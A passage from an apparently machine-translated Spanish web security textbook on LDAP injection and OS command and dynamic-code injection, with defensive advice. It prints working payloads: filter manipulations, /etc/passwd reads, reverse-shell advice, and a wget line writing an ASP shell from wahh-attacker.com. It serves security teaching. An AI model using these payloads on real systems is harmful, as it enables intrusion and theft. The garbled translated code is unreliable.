comunes que probablemente encontrará son los siguientes:
n Las condiciones de coincidencia simple coinciden con el valor de un solo atributo. Por
ejemplo, una función de aplicación que busca un usuario a través de su nombre de usuario
podría usar este fi ltro:
(nombre de usuario=daf)
Las consultas disyuntivas especifican múltiples condiciones, cualquiera de las cuales debe
ser satisfecha por las entradas que se devuelven. Por ejemplo, una función de búsqueda
que busque un término de búsqueda proporcionado por el usuario en varios atributos de
directorio podría usar este filtro:
(|(cn=término de búsqueda)(sn=término de búsqueda)(ou=término de búsqueda))
n Las consultas conjuntas especifican múltiples condiciones, todas las cuales deben ser
satisfechas por las entradas que se devuelven. Por ejemplo, un mecanismo de inicio
de sesión implementado en LDAP podría usar este fi ltro:
(&(nombre de usuario=daf)(contraseña=secreto)
Al igual que con otras formas de inyección, si la entrada proporcionada por el usuario se
inserta en un filtro de búsqueda LDAP sin ninguna validación, es posible que un atacante
proporcione una entrada manipulada que modifique la estructura del filtro y, por lo tanto,
recupere datos o realice acciones en una forma no autorizada.
En general, las vulnerabilidades de inyección de LDAP no son tan fácilmente explotables como
Fallas de inyección SQL, debido a los siguientes factores:
n Cuando el fi ltro de búsqueda emplea un operador lógico para especificar una

consulta conjuntiva o disyuntiva, generalmente aparece antes del punto donde se
insertan los datos proporcionados por el usuario y, por lo tanto, no se puede
modificar. Por lo tanto, las condiciones de coincidencia simple y las consultas
conjuntas no tienen un equivalente al tipo de ataque “o 1=1” que surge con la
inyección SQL. n En las implementaciones de LDAP que son de uso común, los
atributos de directorio que se devolverán se pasan a las API de LDAP como un
parámetro separado del filtro de búsqueda y normalmente están codificados dentro de la aplicación.
Por lo tanto, normalmente no es posible manipular la entrada proporcionada por el usuario

para recuperar atributos diferentes de los que la consulta pretendía recuperar. n Las
aplicaciones rara vez devuelven mensajes de error informativos, por lo que las vulnerabilidades
generalmente necesitan ser explotados "a ciegas".
Explotación de la inyección LDAP

A pesar de las limitaciones que se acaban de describir, en muchas situaciones del mundo real es
posible explotar las vulnerabilidades de inyección de LDAP para recuperar datos no autorizados de la
aplicación o realizar acciones no autorizadas. Los detalles de cómo se hace esto normalmente
dependen en gran medida de la construcción del filtro de búsqueda, el punto de entrada para la
entrada del usuario y los detalles de implementación del propio servicio LDAP de back-end.
Consultas disyuntivas
Considere una aplicación que permita a los usuarios listar a los empleados dentro de un departamento
específico de la empresa. Los resultados de la búsqueda están restringidos a las ubicaciones
geográficas que el usuario está autorizado a ver. Por ejemplo, si un usuario está autorizado para ver
las ubicaciones de Londres y Reading y busca el departamento de "ventas", la aplicación realiza la
siguiente consulta disyuntiva:
(|(departamento=ventas de Londres)(departamento=ventas de lectura))
Aquí, la aplicación construye una consulta disyuntiva y antepone diferentes expresiones antes de
la entrada proporcionada por el usuario para hacer cumplir el control de acceso requerido.
En esta situación, un atacante puede subvertir la consulta para devolver detalles de todos
empleados en todas las ubicaciones enviando el siguiente término de búsqueda:
)(departamento=*
El carácter * es un comodín en LDAP; coincide con cualquier artículo. Cuando esta entrada
está embebido en el fi ltro de búsqueda LDAP, se realiza la siguiente consulta:
(|(departamento=Londres)(departamento=*)(departamento=Lectura)(departamento=*))
Como se trata de una consulta disyuntiva y contiene el término comodín (departamento =*),
coincide con todas las entradas del directorio. Devuelve los detalles de todos los empleados de todas
las ubicaciones, subvirtiendo así el control de acceso de la aplicación.
¡INTENTALO!
http://mdsec.net/employees/31/
Consultas Conjuntivas
Considere una función de aplicación similar que permita a los usuarios buscar empleados
por nombre, nuevamente dentro de la región geográfica que están autorizados a ver.
Si un usuario está autorizado a buscar dentro de la ubicación de Londres y busca
para el nombre daf se realiza la siguiente consulta:
(&(givenName=daf)(departamento=Londres*))
Aquí, la entrada del usuario se inserta en una consulta conjunta, la segunda parte de la
cual aplica el control de acceso requerido al hacer coincidir elementos en solo uno de los
departamentos de Londres.
En esta situación, dos ataques diferentes podrían tener éxito, según los detalles del
servicio LDAP de back-end. Algunas implementaciones de LDAP, incluido OpenLDAP,
permiten agrupar múltiples filtros de búsqueda y estos se aplican de manera disyuntiva. (En
otras palabras, se devuelven entradas de directorio que coinciden con cualquiera de los filtros
por lotes). Por ejemplo, un atacante podría proporcionar la siguiente entrada:
*))(&(nombre_dado=daf
Cuando esta entrada se incrusta en el fi ltro de búsqueda original, se convierte en:
(&(givenName=*))(&(givenName=daf)(departamento=Londres*))
Ahora contiene dos filtros de búsqueda, el primero de los cuales contiene una única
condición de coincidencia de comodines. Los detalles de todos los empleados se devuelven
desde todas las ubicaciones, lo que altera el control de acceso de la aplicación.
¡INTENTALO!
NOTA Esta técnica de inyectar un segundo filtro de búsqueda también es efectiva contra
condiciones de coincidencia simple que no emplean ningún operador lógico, siempre que la
implementación de back-end acepte múltiples filtros de búsqueda.
El segundo tipo de ataque contra consultas conjuntas explota cuántas implementaciones

LDAP manejan bytes NULL . Debido a que estas implementaciones generalmente están
escritas en código nativo, un byte NULL dentro de un filtro de búsqueda termina efectivamente
la cadena y cualquier carácter que viene después de NULL se ignora. Aunque LDAP en sí
mismo no admite comentarios (de la forma en que la secuencia -- se puede usar en SQL),
este manejo de bytes NULL se puede explotar de manera efectiva para "comentar " el resto
de la consulta.
En el ejemplo anterior, el atacante puede proporcionar la siguiente entrada:
*))%00
El servidor de aplicaciones decodifica la secuencia %00 en un byte NULL literal,

así que cuando la entrada se incrusta en el filtro de búsqueda, se convierte en:
(&(givenName=*))[NULL])(departamento=Londres*))
Debido a que este fi ltro está truncado en el byte NULL , en lo que respecta a LDAP,
contiene solo una única condición de comodín, por lo que también se devuelven los detalles
de todos los empleados de los departamentos fuera del área de Londres.
¡INTENTALO!
Encontrar fallas de inyección LDAP

Por lo general, proporcionar una entrada no válida a una operación LDAP no genera un mensaje
de error informativo. En general, la evidencia disponible para diagnosticar la vulnerabilidad
incluye los resultados devueltos por una función de búsqueda y la ocurrencia de un error, como
un código de estado HTTP 500. No obstante, puede utilizar los siguientes pasos para identificar
un fallo de inyección de LDAP con cierto grado de fiabilidad.
PASOS DE HACK
1. Intente ingresar solo el carácter * como término de búsqueda. Este carácter funciona como
comodín en LDAP, pero no en SQL. Si se devuelve una gran cantidad de resultados, es
un buen indicador de que se trata de una consulta LDAP.
2. Intente ingresar varios corchetes de cierre:

))))))))))
Esta entrada cierra los corchetes que encierran su entrada, así como aquellos
que encapsulan el filtro de búsqueda principal en sí. Esto da como resultado
corchetes de cierre no coincidentes, lo que invalida la sintaxis de la consulta. Si se
produce un error, la aplicación puede ser vulnerable a la inyección de LDAP. (Tenga en
cuenta que esta entrada también puede romper muchos otros tipos de lógica de
aplicación, por lo que esto proporciona un indicador sólido solo si ya está seguro de
que está tratando con una consulta LDAP).
Continuado
3. Intente ingresar varias expresiones diseñadas para interferir con diferentes

tipos de consultas, y vea si esto le permite influir en los resultados que
se devuelven. El atributo cn es compatible con todas las implementaciones
de LDAP y es útil si no conoce ningún detalle sobre el directorio que está
consultando. Por ejemplo:
)(cn=*
*))(|(cn=*
*))%00
Prevención de la inyección de LDAP
Si es necesario insertar una entrada proporcionada por el usuario en una consulta LDAP,
esta operación debe realizarse solo en elementos de datos simples que puedan estar
sujetos a una validación de entrada estricta. La entrada del usuario debe compararse con
una lista blanca de caracteres aceptables, que idealmente debería incluir solo caracteres
alfanuméricos . Deben bloquearse los caracteres que puedan utilizarse para interferir con la
consulta LDAP , incluidos ( ) * | &
; =, ylista
el byte
blanca
nulo.debe
Cualquier
rechazarse,
entrada
noque
desinfectarse.
no coincida con la
Resumen
Hemos examinado una variedad de vulnerabilidades que le permiten inyectar en almacenes
de datos de aplicaciones web. Estas vulnerabilidades pueden permitirle leer o modificar
datos confidenciales de la aplicación, realizar otras acciones no autorizadas o subvertir la
lógica de la aplicación para lograr un objetivo.
A pesar de lo graves que son estos ataques, son solo parte de una gama más amplia de
ataques que implican la inyección en contextos interpretados. Otros ataques de esta
categoría pueden permitirle ejecutar comandos en el sistema operativo del servidor,
recuperar archivos arbitrarios e interferir con otros componentes de back-end. El próximo
capítulo examina estos ataques y otros. Analiza cómo las vulnerabilidades dentro de una
aplicación web pueden comprometer partes clave de la infraestructura más amplia que
admite la aplicación.
Preguntas
1. Está tratando de explotar una falla de inyección SQL al realizar un ataque

UNION para recuperar datos. No sabe cuántas columnas devuelve la consulta
original. ¿Cómo puedes averiguar esto?
2. Ha localizado una vulnerabilidad de inyección SQL en un parámetro de cadena. Cree

que la base de datos es MS-SQL u Oracle, pero no puede recuperar ningún dato o un
mensaje de error para confirmar qué base de datos se está ejecutando. ¿Cómo
puedes averiguar esto?
3. Ha enviado una comilla simple en numerosos lugares a lo largo de la solicitud. A partir de los
mensajes de error resultantes, ha diagnosticado varias posibles fallas de inyección SQL. ¿Cuál de
los siguientes sería el lugar más seguro para probar si una entrada más elaborada tiene un efecto
en el procesamiento de la aplicación? (a) Dar de alta un nuevo usuario (b) Actualizar sus datos
personales (c) Darse de baja del servicio
4. Ha encontrado una vulnerabilidad de inyección SQL en una función de inicio de sesión e intenta usar
la entrada ' o 1=1-- para omitir el inicio
indica
de sesión.
que los Su
filtros
ataque
de entrada
falla y el
demensaje
la aplicación
de error
están
resultante
eliminando los caracteres -- . ¿Cómo podría eludir este problema?
5. Ha encontrado una vulnerabilidad de inyección SQL pero no ha podido realizar ningún ataque útil
porque la aplicación rechaza cualquier entrada que contenga espacios en blanco. ¿Cómo se puede
evitar esta restricción?
6. La aplicación está duplicando todas las comillas simples dentro de la entrada del usuario antes de
que se incorporen a las consultas SQL. Encontró una vulnerabilidad de inyección SQL en un
campo numérico, pero necesita usar un valor de cadena en una de sus cargas útiles de ataque.
¿Cómo puede colocar una cadena en su consulta sin usar comillas?
7. En algunas situaciones excepcionales, las aplicaciones construyen consultas SQL dinámicas a partir
de la entrada proporcionada por el usuario de una manera que no puede garantizarse utilizando
consultas parametrizadas. ¿Cuándo ocurre esto?
8. Tiene privilegios escalados dentro de una aplicación de modo que ahora tiene acceso
administrativo completo. Descubre una vulnerabilidad de inyección SQL dentro de
una función de administración de usuarios. ¿Cómo puede aprovechar esta capacidad
vulnerable para avanzar aún más en su ataque?
9. Está atacando una aplicación que no contiene datos confidenciales y no contiene mecanismos de
autenticación o control de acceso. En esta situación, ¿cómo clasificaría la importancia de las
siguientes vulnerabilidades? (a) Inyección SQL (b) Inyección XPath (c) Inyección de comando OS
10. Está probando una función de aplicación que le permite buscar detalles de
personal. Sospecha que la función está accediendo a una base de datos o
a un back-end de Active Directory. ¿Cómo podría tratar de determinar cuál
de estos es el caso?
CAPÍTULO R
10
Atacando el back-end
Componentes
Las aplicaciones web son ofertas cada vez más complejas. Con frecuencia funcionan como
la interfaz orientada a Internet para una variedad de recursos críticos para el negocio en el
back-end, incluidos recursos en red como servicios web, servidores web back-end ,
servidores de correo y recursos locales como sistemas de archivos e interfaces para el
sistema operativo. Con frecuencia, el servidor de aplicaciones también actúa como una
capa de control de acceso discrecional para estos componentes de back-end. Cualquier
ataque exitoso que pudiera realizar una interacción arbitraria con un componente de back-
end podría potencialmente violar todo el modelo de control de acceso aplicado por la
aplicación web, lo que permitiría el acceso no autorizado a datos y funciones confidenciales.
Cuando los datos pasan de un componente a otro, son interpretados por diferentes
conjuntos de API e interfaces. Los datos que la aplicación central considera "seguros"
pueden ser extremadamente inseguros dentro del componente posterior, que puede admitir
diferentes codificaciones, caracteres de escape, delimitadores de campo o terminadores de
cadena. Además, el componente en adelante puede poseer una funcionalidad
considerablemente mayor que la que invoca normalmente la aplicación. Un atacante que
explota una vulnerabilidad de inyección a menudo puede ir más allá de simplemente romper
el control de acceso de la aplicación. Puede explotar la funcionalidad adicional admitida por
el componente de back-end para comprometer partes clave de la infraestructura de la
organización.
357
358 Capítulo 10 n Atacar componentes de back-end
Inyectar comandos del sistema operativo
La mayoría de las plataformas de servidores web han evolucionado hasta el punto en que
existen API integradas para realizar prácticamente cualquier interacción requerida con el
sistema operativo del servidor . Usadas correctamente, estas API pueden permitir a los
desarrolladores acceder al sistema de archivos, interactuar con otros procesos y llevar a
cabo comunicaciones de red de manera segura. Sin embargo, hay muchas situaciones en
las que los desarrolladores optan por utilizar la técnica más pesada de emitir comandos del
sistema operativo directamente al servidor. Esta opción puede resultar atractiva por su
potencia y sencillez y, a menudo, proporciona una solución inmediata y funcional a un
problema en particular. Sin embargo, si la aplicación pasa la entrada proporcionada por el
usuario a los comandos del sistema operativo, puede ser vulnerable a la inyección de
comandos, lo que permite a un atacante enviar entradas manipuladas que modifican los
comandos que los desarrolladores pretendían ejecutar.
Las funciones comúnmente utilizadas para emitir comandos del sistema operativo, como
exec en PHP y wscript.shell en ASP, no imponen ninguna restricción en el alcance de los
comandos que se pueden ejecutar. Incluso si un desarrollador tiene la intención de usar
una API para realizar una tarea relativamente benigna, como enumerar el contenido de un
directorio, un atacante puede subvertirlo para escribir archivos arbitrarios o iniciar otros
programas. Cualquier comando inyectado generalmente se ejecuta en el contexto de
seguridad del proceso del servidor web, que a menudo es lo suficientemente poderoso
como para que un atacante comprometa todo el servidor.
Las fallas de inyección de comandos de este tipo han surgido en numerosas aplicaciones
web estándar y personalizadas. Han prevalecido especialmente en aplicaciones que
proporcionan una interfaz administrativa a un servidor empresarial oa dispositivos como
cortafuegos, impresoras y enrutadores. Estas aplicaciones a menudo tienen requisitos
particulares para la interacción con el sistema operativo que llevan a los desarrolladores a
usar comandos directos que incorporan datos proporcionados por el usuario.
Ejemplo 1: inyección a través de Perl

Considere el siguiente código CGI de Perl, que es parte de una aplicación web para la
administración del servidor. Esta función permite a los administradores especificar un
directorio en el servidor y ver un resumen de su uso del disco:
#!/usr/bin/perl uso
estricto;
usar CGI qw(:escapeHTML estándar); imprimir
encabezado, start_html(“”); imprimir “<pre>”;
mi $comando = “du -h --exclude php* /var/www/html”; $comando=

$comando.param(“dir”); $comando=`$comando`;
Capítulo 10 n Ataque de componentes de back-end 359
imprime “$comando\n”;
imprimir fin_html;
Cuando se usa según lo previsto, este script simplemente agrega el valor del parámetro
dir proporcionado por el usuario al final de un comando preestablecido, ejecuta el comando y
muestra los resultados, como se muestra en la Figura 10-1.
Figura 10-1: Una función de aplicación simple para enumerar el contenido de un directorio
Esta funcionalidad se puede explotar de varias maneras al proporcionar una entrada

diseñada que contenga metacaracteres de shell. Estos caracteres tienen un significado
especial para el intérprete que procesa el comando y pueden usarse para interferir con el
comando que el desarrollador pretendía ejecutar. Por ejemplo, el carácter de barra vertical
(|) se utiliza para redirigir la salida de un proceso a la entrada de otro, lo que permite
encadenar varios comandos. Un atacante puede aprovechar este comportamiento para
inyectar un segundo comando y recuperar su salida, como se muestra en la Figura 10-2.
Aquí, la salida del comando du original se ha redirigido como entrada al comando cat/
etc/passwd. Este comando simplemente ignora la entrada y realiza su única tarea de
generar el contenido del archivo passwd .
Un ataque tan simple como este puede parecer improbable; sin embargo, exactamente
este tipo de inyección de comandos se ha encontrado en numerosos productos comerciales.
Por ejemplo, se descubrió que HP OpenView es vulnerable a un error de inyección de
comandos dentro de la siguiente URL:
https://objetivo:3443/OvCgi/connectedNodes.ovpl?node=a| [tu comando] |

Figura 10-2: Un ataque de inyección de comando exitoso
Ejemplo 2: Inyección a través de ASP

Considere el siguiente código C#, que es parte de una aplicación web para administrar un
servidor web. La función permite a los administradores ver el contenido de un directorio
solicitado:
string dirName = “C:\\filestore\\” + Directory.Text; ProcessStartInfo psInfo = new

ProcessStartInfo(“cmd”, “/c dir “ dirName); +
...
proceso de proceso = Process.Start (psInfo);
Cuando se usa según lo previsto, este script inserta el valor del parámetro Directorio
proporcionado por el usuario en un comando preestablecido, ejecuta el comando y muestra
los resultados, como se muestra en la Figura 10-3.
Al igual que con el script Perl vulnerable, un atacante puede usar metacaracteres de
shell para interferir con el comando preestablecido previsto por el desarrollador e inyectar
su propio comando. El carácter de ampersand (&) se utiliza para agrupar varios comandos.
Proporcionar un nombre de archivo que contenga el carácter ampersand y un segundo
comando hace que este comando se ejecute y se muestren sus resultados, como se
muestra en la Figura 10-4.
Figura 10-3: Una función para listar el contenido de un directorio
Figura 10-4: Un ataque de inyección de comando exitoso

¡INTENTALO!
http://mdsec.net/admin/5/
Inyectar mediante ejecución dinámica

Muchos lenguajes de secuencias de comandos web admiten la ejecución dinámica de código que se
genera en tiempo de ejecución. Esta función permite a los desarrolladores crear aplicaciones que
modifican dinámicamente su propio código en respuesta a diversos datos y condiciones.
Si la entrada del usuario se incorpora al código que se ejecuta dinámicamente, un atacante puede
proporcionar una entrada manipulada que se sale del contexto de datos previsto y especifica
comandos que se ejecutan en el servidor de la misma manera que si hubieran sido escritos por el
desarrollador original. El primer objetivo de un atacante en este punto suele ser inyectar una API que
ejecuta los comandos del sistema operativo.
La función PHP eval se utiliza para ejecutar de forma dinámica el código que se pasa a la función
en tiempo de ejecución. Considere una función de búsqueda que permita a los usuarios crear
búsquedas almacenadas que luego se generan dinámicamente como enlaces dentro de su interfaz
de usuario . Cuando los usuarios acceden a la función de búsqueda, utilizan una URL como la siguiente:
/search.php?storedsearch=\$mibúsqueda%3dwahh
La aplicación del lado del servidor implementa esta funcionalidad mediante la generación
dinámica de variables que contienen los pares de nombre/valor especificados en el parámetro
de búsqueda almacenado , en este caso creando una variable mysearch con el valor wahh:
$búsqueda almacenada = $_GET['búsqueda almacenada'];

eval(“$búsqueda almacenada;”);
En esta situación, puede enviar una entrada diseñada que se ejecuta dinámicamente
mediante la función eval , lo que da como resultado la inyección de comandos PHP
arbitrarios en la aplicación del lado del servidor. El carácter de punto y coma se puede
usar para agrupar comandos en un solo parámetro. Por ejemplo, para recuperar el
contenido del archivo /etc/password, puede usar el comando file_get_contents o system :
/search.php?storedsearch=\$mysearch%3dwahh;%20echo%20file_get
_contents('/etc/contraseña')
/search.php?storedsearch=\$mysearch%3dwahh;%20system('cat%20/etc/
contraseña')
NOTA El lenguaje Perl también contiene una función de evaluación que se puede
aprovechar de la misma manera. Tenga en cuenta que es posible que el carácter de punto y
coma deba codificarse como URL (como %3b) porque algunos analizadores de secuencias de
comandos CGI lo interpretan como un delimitador de parámetros. En ASP clásico, Execute() realiza un papel similar.
Capítulo 10 n Atacar componentes de back-end 363
Encontrar fallas de inyección de comandos del sistema operativo
En sus ejercicios de asignación de aplicaciones (consulte el Capítulo 4), debería haber

identificado cualquier instancia en la que la aplicación web parezca estar interactuando con el
sistema operativo subyacente llamando a procesos externos o accediendo al sistema de
archivos. Debe sondear todas estas funciones, en busca de fallas en la inyección de comandos .
De hecho, sin embargo, la aplicación puede emitir comandos del sistema operativo que
contengan absolutamente cualquier dato proporcionado por el usuario, incluidos todos los URL
y parámetros del cuerpo y todas las cookies. Por lo tanto, para realizar una prueba exhaustiva
de la aplicación, debe apuntar a todos estos elementos dentro de cada función de la aplicación.
Diferentes intérpretes de comandos manejan metacaracteres de shell de diferentes maneras.
En principio, cualquier tipo de plataforma de desarrollo de aplicaciones o servidor web puede
llamar a cualquier tipo de intérprete de shell, ejecutándose en su propio sistema operativo o en
el de cualquier otro host. Por lo tanto, no debe hacer suposiciones sobre el manejo de los
metacaracteres por parte de la aplicación basándose en el conocimiento del sistema operativo
del servidor web.
Se pueden usar dos tipos amplios de metacaracteres para inyectar un comando separado
en un comando preestablecido existente:
n Los caracteres ;|& y el salto de línea se pueden usar para agrupar varios comandos, uno
tras otro. En algunos casos, estos personajes pueden duplicarse con diferentes efectos.
Por ejemplo, en el intérprete de comandos de Windows, el uso de && hace que el
segundo comando se ejecute solo si el primero tiene éxito.
Usando || hace que el segundo comando siempre se ejecute, independientemente
del éxito del primero.
n El carácter de acento grave (`) se puede usar para encapsular un comando separado
dentro de un elemento de datos que está siendo procesado por el comando original.
Colocar un comando inyectado dentro de los acentos graves hace que el intérprete de
shell ejecute el comando y reemplace el texto encapsulado con los resultados de este
comando antes de continuar con la ejecución de la cadena de comando resultante.
En los ejemplos anteriores, era sencillo verificar que la inyección de comandos era posible
y recuperar los resultados del comando inyectado, porque esos resultados se devolvían
inmediatamente dentro de la respuesta de la aplicación.
En muchos casos, sin embargo, esto puede no ser posible. Es posible que esté inyectando un
comando que no arroja resultados y que no afecta el procesamiento posterior de la aplicación
de ninguna manera identificable. O el método que ha utilizado para inyectar el comando elegido
puede ser tal que sus resultados se pierdan a medida que se agrupan varios comandos.
En general, la forma más confiable de detectar si la inyección de comandos es posible es

usar la inferencia de retardo de tiempo de una manera similar a la descrita para explotar la
inyección ciega de SQL. Si parece existir una vulnerabilidad potencial, puede usar otros
métodos para confirmar esto y recuperar los resultados de sus comandos inyectados.
PASOS DE HACK
1. Normalmente puede usar el comando ping como un medio para activar un retraso de
tiempo al hacer que el servidor haga ping en su interfaz de bucle invertido durante un
período específico. Existen pequeñas diferencias entre cómo las plataformas basadas
en Windows y UNIX manejan los separadores de comandos y el comando ping .
Sin embargo, la siguiente cadena de prueba multipropósito debe inducir un retraso
de 30 segundos en cualquiera de las plataformas si no se aplica ningún filtro:
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &

Para maximizar sus posibilidades de detectar una falla de inyección de comando si el
aplicación está filtrando ciertos separadores de comandos, también debe enviar
cada una de las siguientes cadenas de prueba a cada parámetro de destino y
controlar el tiempo que tarda la aplicación en responder:
| ping –i 30 127.0.0.1 | | ping –n 30

127.0.0.1 |
& hacer ping –i 30 127.0.0.1 &
& hacer ping –n 30 127.0.0.1 &
; hacer ping 127.0.0.1;
%0a ping –i 30 127.0.0.1 %0a
` `
ping 127.0.0.1
2. Si se produce un retraso de tiempo, la aplicación puede ser vulnerable al comando

inyección. Repita el caso de prueba varias veces para confirmar que la demora no fue
el resultado de la latencia de la red u otras anomalías. Puede intentar cambiar el valor
de los parámetros -n o -i y confirmar que el retraso experimentado varía sistemáticamente
con el valor proporcionado.
3. Usando cualquiera de las cadenas de inyección que resultó exitosa, intente inyectar
un comando más interesante (como ls o dir). Determine si puede recuperar los
resultados del comando en su navegador.
4. Si no puede recuperar los resultados directamente, tiene otras opciones:
n Puede intentar abrir un canal fuera de banda de regreso a su computadora.

Intente usar TFTP para copiar herramientas al servidor, use telnet o netcat para
crear un shell inverso en su computadora y use el comando de correo para enviar
la salida del comando a través de SMTP.
n Puede redirigir los resultados de sus comandos a un archivo dentro de la raíz web,
que luego puede recuperar directamente usando su navegador. Por ejemplo:
dir > c:\inetpub\wwwroot\foo.txt

5. Cuando haya encontrado un medio para inyectar comandos y recuperar los resultados,
debe determinar su nivel de privilegios (utilizando whoami o algo similar, o intentando
escribir un archivo inofensivo en un directorio protegido). Luego, puede buscar
escalar privilegios, obtener acceso de puerta trasera a datos confidenciales de
aplicaciones o atacar otros hosts accesibles desde el servidor comprometido.
En algunos casos, puede que no sea posible inyectar un comando completamente separado
debido al filtrado de los caracteres requeridos o al comportamiento de la API de comandos que
utiliza la aplicación. Sin embargo, aún puede ser posible interferir con el comportamiento del
comando que se ejecuta para lograr algún resultado deseado.
En un caso visto por los autores, la aplicación pasó la entrada del usuario al comando del sistema
operativo nslookup para encontrar la dirección IP de un nombre de dominio proporcionado por el
usuario. Se bloquearon los metacaracteres necesarios para inyectar nuevos comandos, pero se
permitieron los caracteres < y > utilizados para redirigir la entrada y salida del comando. El comando
nslookup generalmente genera la dirección IP de un nombre de dominio, lo que no parece
proporcionar un vector de ataque efectivo. Sin embargo, si se proporciona un nombre de dominio no
válido , el comando genera un mensaje de error que incluye el nombre de dominio que se buscó.
Este comportamiento demostró ser suficiente para lanzar un ataque serio:
n Envíe un fragmento de código de secuencia de comandos ejecutable por servidor como el

nombre de dominio que se va a resolver. El script se puede encapsular entre comillas para
garantizar que el intérprete de comandos lo trate como un único token.
n Use el carácter > para redirigir la salida del comando a un archivo en una carpeta ejecutable
dentro de la raíz web. El comando ejecutado por el sistema operativo es el siguiente:
nslookup “[código de script]” > [/ruta/al/archivo_ejecutable]
n Cuando se ejecuta el comando, la siguiente salida se redirige a la ejecución

archivo capaz:
** el servidor no puede encontrar [código de script]: NXDOMAIN
n Este archivo se puede invocar mediante un navegador y el código de secuencia de comandos

inyectado se ejecuta en el servidor. Debido a que la mayoría de los lenguajes de secuencias
de comandos permiten que las páginas contengan una combinación de contenido del lado
del cliente y marcado del lado del servidor, las partes del mensaje de error que el atacante
no controla se tratan como texto sin formato y se ejecuta el marcado dentro del script
inyectado. Por lo tanto, el ataque logra aprovechar una condición de inyección de comando
restringida para introducir una puerta trasera sin restricciones en el servidor de aplicaciones.
¡INTENTALO!
PASOS DE HACK
1. Los caracteres < y > se utilizan, respectivamente, para dirigir el contenido de un

archivo a la entrada del comando y para dirigir la salida del comando a un archivo.
Si no es posible usar las técnicas anteriores para inyectar un comando
completamente separado, aún puede leer y escribir contenidos de archivos
arbitrarios usando los caracteres < y >.
2. Muchos comandos del sistema operativo que invocan las aplicaciones aceptan
una serie de parámetros de línea de comandos que controlan su comportamiento.
A menudo, la entrada proporcionada por el usuario se pasa al comando como uno
de estos parámetros, y es posible que pueda agregar más parámetros simplemente
insertando un espacio seguido del parámetro relevante. Por ejemplo, una
aplicación de creación web puede contener una función en la que el servidor
recupera una URL especificada por el usuario y presenta su contenido en el
navegador para su edición. Si la aplicación simplemente llama al programa wget,
es posible que pueda escribir contenidos de archivos arbitrarios en el sistema de
archivos del servidor agregando el parámetro de línea de comandos -O utilizado por wget. Por ejemplo:
url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\
cmdasp.asp
SUGERENCIA Muchos ataques de inyección de comandos requieren que inyecte

espacios para separar los argumentos de la línea de comandos. Si encuentra que la
aplicación filtra los espacios y la plataforma que está atacando está basada en UNIX,
puede usar la variable de entorno $IFS en su lugar, que contiene los separadores de
campo de espacios en blanco.
Encontrar vulnerabilidades de ejecución dinámica

Las vulnerabilidades de ejecución dinámica surgen con mayor frecuencia en lenguajes como PHP
y Perl. Pero, en principio, cualquier tipo de plataforma de aplicación puede pasar la entrada
proporcionada por el usuario a un intérprete basado en secuencias de comandos, a veces en un
servidor de back-end diferente.
PASOS DE HACK
1. Cualquier elemento de datos proporcionados por el usuario se puede pasar a una función
de ejecución dinámica. Algunos de los elementos más comúnmente utilizados de esta
manera son los nombres y valores de los parámetros de las cookies y los datos persistentes
almacenados en los perfiles de los usuarios como resultado de acciones anteriores.
2. Intente enviar los siguientes valores uno por uno como cada parámetro objetivo:
;eco%20111111
eco%20111111
respuesta.escribir%20111111
:respuesta.escribir%20111111
3. Revise las respuestas de la aplicación. Si la cadena 111111 se devuelve sola (no está precedida
por el resto de la cadena de comando), es probable que la aplicación sea vulnerable a la
inyección de comandos de secuencias de comandos.
4. Si no se devuelve la cadena 111111, busque cualquier mensaje de error que indique que su
entrada se está ejecutando dinámicamente y que es posible que deba ajustar su sintaxis para
lograr la inyección de comandos arbitrarios.
5. Si la aplicación que está atacando usa PHP, puede usar la cadena de prueba phpinfo(), que, si
tiene éxito, devuelve los detalles de configuración del entorno PHP.
6. Si la aplicación parece ser vulnerable, verifíquelo inyectando algunos comandos que provoquen
demoras, como se describió anteriormente para la inyección de comandos del sistema
operativo. Por ejemplo:
sistema('ping%20127.0.0.1')
Prevención de la inyección de comandos del sistema operativo
En general, la mejor manera de evitar que surjan fallas en la inyección de comandos

del sistema operativo es evitar llamar directamente a los comandos del sistema
operativo. Prácticamente cualquier tarea concebible que una aplicación web deba
realizar se puede lograr utilizando API integradas que no se pueden manipular para
ejecutar comandos distintos a los previstos.
Si se considera inevitable incorporar datos proporcionados por el usuario en cadenas de
comandos que se pasan a un intérprete de comandos del sistema operativo, la aplicación debe
aplicar defensas rigurosas para evitar que surja una vulnerabilidad.
Si es posible, se debe usar una lista blanca para restringir la entrada del usuario a un conjunto
específico de valores esperados. Alternativamente, la entrada debe restringirse a un conjunto
de caracteres muy limitado, como solo caracteres alfanuméricos. La entrada que contenga
cualquier otro dato, incluido cualquier metacarácter o espacio en blanco concebible, debe rechazarse.
Como una capa adicional de protección, la aplicación debe usar API de

comandos que inicien un proceso específico a través de su nombre y parámetros
de línea de comandos, en lugar de pasar una cadena de comandos a un intérprete
de shell que admita el encadenamiento y la redirección de comandos. Por ejemplo,
Java API Runtime.exec y ASP.NET API Process.Start no admiten metacaracteres de shell.
Si se usan correctamente, pueden garantizar que solo se ejecutará el comando previsto
por el desarrollador. Consulte el Capítulo 19 para obtener más detalles sobre las API de
ejecución de comandos.
Prevención de vulnerabilidades de inyección de secuencias de comandos
En general, la mejor manera de evitar las vulnerabilidades de inyección de secuencias de comandos

es no pasar la entrada proporcionada por el usuario, o los datos derivados de ella, a ninguna ejecución
dinámica o función de inclusión. Si esto se considera inevitable por alguna razón, la entrada relevante
debe validarse estrictamente para evitar que ocurra cualquier ataque.
Si es posible, use una lista blanca de buenos valores conocidos que la aplicación espera y rechace
cualquier entrada que no aparezca en esta lista. De lo contrario, verifique los caracteres utilizados en
la entrada con un conjunto que se sepa que es inofensivo, como los caracteres alfanuméricos que
excluyen los espacios en blanco.
Manipulación de rutas de archivo
Muchos tipos de funciones que se encuentran comúnmente en las aplicaciones web involucran el
procesamiento de entradas proporcionadas por el usuario como un archivo o un nombre de directorio.
Por lo general, la entrada se pasa a una API que acepta una ruta de archivo, como en la recuperación
de un archivo del sistema de archivos local. La aplicación procesa el resultado de la llamada a la API
dentro de su respuesta a la solicitud del usuario. Si la entrada proporcionada por el usuario se valida
incorrectamente, este comportamiento puede dar lugar a varias vulnerabilidades de seguridad, las más
comunes son errores de cruce de ruta de archivo y errores de inclusión de archivo.
Vulnerabilidades transversales de ruta
Las vulnerabilidades de cruce de rutas surgen cuando la aplicación utiliza datos controlables por el
usuario para acceder a archivos y directorios en el servidor de aplicaciones u otro sistema de archivos
